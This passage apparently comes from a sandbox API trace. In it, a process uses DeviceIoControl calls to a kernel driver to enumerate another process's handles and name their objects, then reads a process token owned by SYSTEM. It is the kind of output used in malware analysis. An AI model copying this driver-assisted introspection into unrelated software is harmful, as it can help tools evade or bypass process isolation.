PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.469] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001ab67f0, HandleInformation=0x0) returned 0x0 [0131.469] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.469] PsReleaseProcessExitSynchronization () returned 0x2 [0131.469] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.469] ObQueryNameString (in: Object=0xfffff8a001ab67f0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.469] ObfDereferenceObject (Object=0xfffff8a001ab67f0) returned 0x1 [0131.469] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.469] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.469] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.469] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.469] PsAcquireProcessExitSynchronization () returned 0x0 [0131.469] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.469] ObReferenceObjectByHandle (in: Handle=0x4e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0010e4430, HandleInformation=0x0) returned 0x0 [0131.469] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.469] PsReleaseProcessExitSynchronization () returned 0x2 [0131.469] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.469] ObQueryNameString (in: Object=0xfffff8a0010e4430, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.469] ObfDereferenceObject (Object=0xfffff8a0010e4430) returned 0x1 [0131.470] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.470] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.470] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.470] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.470] PsAcquireProcessExitSynchronization () returned 0x0 [0131.470] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.470] ObReferenceObjectByHandle (in: Handle=0x4e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0018ae340, HandleInformation=0x0) returned 0x0 [0131.470] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.470] PsReleaseProcessExitSynchronization () returned 0x2 [0131.470] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.470] ObQueryNameString (in: Object=0xfffff8a0018ae340, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.470] ObfDereferenceObject (Object=0xfffff8a0018ae340) returned 0x1 [0131.470] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.470] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.470] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.470] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.470] PsAcquireProcessExitSynchronization () returned 0x0 [0131.470] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.470] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001c039b0, HandleInformation=0x0) returned 0x0 [0131.470] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.470] PsReleaseProcessExitSynchronization () returned 0x2 [0131.470] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.470] ObQueryNameString (in: Object=0xfffff8a001c039b0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.470] ObfDereferenceObject (Object=0xfffff8a001c039b0) returned 0x1 [0131.470] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.470] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.470] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.470] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.470] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.470] PsAcquireProcessExitSynchronization () returned 0x0 [0131.471] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.471] ObReferenceObjectByHandle (in: Handle=0x52c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a69640, HandleInformation=0x0) returned 0x0 [0131.471] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.471] PsReleaseProcessExitSynchronization () returned 0x2 [0131.471] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.471] ObQueryNameString (in: Object=0xfffff8a001a69640, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.471] ObfDereferenceObject (Object=0xfffff8a001a69640) returned 0x1 [0131.471] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.471] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.471] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.471] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.471] PsAcquireProcessExitSynchronization () returned 0x0 [0131.471] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.471] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001a21af0, HandleInformation=0x0) returned 0x0 [0131.471] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.471] PsReleaseProcessExitSynchronization () returned 0x2 [0131.471] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.471] ObQueryNameString (in: Object=0xfffff8a001a21af0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.471] ObfDereferenceObject (Object=0xfffff8a001a21af0) returned 0x1 [0131.471] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.471] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.471] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.471] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.471] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.471] PsAcquireProcessExitSynchronization () returned 0x0 [0131.471] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.471] ObReferenceObjectByHandle (in: Handle=0x55c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cb3830, HandleInformation=0x0) returned 0x0 [0131.471] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.471] PsReleaseProcessExitSynchronization () returned 0x2 [0131.471] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.471] ObQueryNameString (in: Object=0xfffff8a001cb3830, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.471] ObfDereferenceObject (Object=0xfffff8a001cb3830) returned 0x1 [0131.471] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.472] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.472] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.472] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.472] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.472] PsAcquireProcessExitSynchronization () returned 0x0 [0131.472] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.472] ObReferenceObjectByHandle (in: Handle=0x584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0020aabb0, HandleInformation=0x0) returned 0x0 [0131.472] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.472] PsReleaseProcessExitSynchronization () returned 0x2 [0131.472] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.472] ObQueryNameString (in: Object=0xfffff8a0020aabb0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.472] ObfDereferenceObject (Object=0xfffff8a0020aabb0) returned 0x1 [0131.472] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.472] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.472] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.472] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.472] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.472] PsAcquireProcessExitSynchronization () returned 0x0 [0131.472] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.472] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002386780, HandleInformation=0x0) returned 0x0 [0131.472] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.472] PsReleaseProcessExitSynchronization () returned 0x2 [0131.472] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.472] ObQueryNameString (in: Object=0xfffff8a002386780, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.472] ObfDereferenceObject (Object=0xfffff8a002386780) returned 0x1 [0131.472] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.472] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.472] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.472] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.472] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.472] PsAcquireProcessExitSynchronization () returned 0x0 [0131.472] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.472] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017fa6b0, HandleInformation=0x0) returned 0x0 [0131.472] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.473] PsReleaseProcessExitSynchronization () returned 0x2 [0131.473] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.473] ObQueryNameString (in: Object=0xfffff8a0017fa6b0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.473] ObfDereferenceObject (Object=0xfffff8a0017fa6b0) returned 0x1 [0131.473] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.473] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.473] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.473] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.473] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.473] PsAcquireProcessExitSynchronization () returned 0x0 [0131.473] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.473] ObReferenceObjectByHandle (in: Handle=0x5f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001247ab0, HandleInformation=0x0) returned 0x0 [0131.473] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.473] PsReleaseProcessExitSynchronization () returned 0x2 [0131.473] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.473] ObQueryNameString (in: Object=0xfffff8a001247ab0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.473] ObfDereferenceObject (Object=0xfffff8a001247ab0) returned 0x1 [0131.473] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.473] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.473] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.473] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.473] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.473] PsAcquireProcessExitSynchronization () returned 0x0 [0131.473] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.473] ObReferenceObjectByHandle (in: Handle=0x5f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001bb0d70, HandleInformation=0x0) returned 0x0 [0131.473] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.473] PsReleaseProcessExitSynchronization () returned 0x2 [0131.473] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.473] ObQueryNameString (in: Object=0xfffff8a001bb0d70, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.473] ObfDereferenceObject (Object=0xfffff8a001bb0d70) returned 0x1 [0131.473] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.473] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.473] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.473] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.473] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.473] PsAcquireProcessExitSynchronization () returned 0x0 [0131.474] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.474] ObReferenceObjectByHandle (in: Handle=0x604, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00212faf0, HandleInformation=0x0) returned 0x0 [0131.474] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.474] PsReleaseProcessExitSynchronization () returned 0x2 [0131.474] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.474] ObQueryNameString (in: Object=0xfffff8a00212faf0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.474] ObfDereferenceObject (Object=0xfffff8a00212faf0) returned 0x1 [0131.474] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.474] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.474] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.474] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.474] PsAcquireProcessExitSynchronization () returned 0x0 [0131.474] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.474] ObReferenceObjectByHandle (in: Handle=0x618, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a002399cd0, HandleInformation=0x0) returned 0x0 [0131.474] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.474] PsReleaseProcessExitSynchronization () returned 0x2 [0131.474] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.474] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.474] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0131.474] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.474] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.474] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0131.474] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0131.474] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0131.474] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008bc) returned 0x0 [0131.474] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0131.474] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008bc, DesiredAccess=0x8, TokenHandle=0xfffffa8002195380 | out: TokenHandle=0xfffffa8002195380*=0xc8) returned 0x0 [0131.474] ZwClose (Handle=0xffffffff800008bc) returned 0x0 [0131.474] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.475] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.475] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.570] CloseHandle (hObject=0xc8) returned 1 [0131.570] CloseHandle (hObject=0xc0) returned 1 [0131.570] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.570] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.570] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.571] PsAcquireProcessExitSynchronization () returned 0x0 [0131.571] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880050005d0) [0131.571] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: 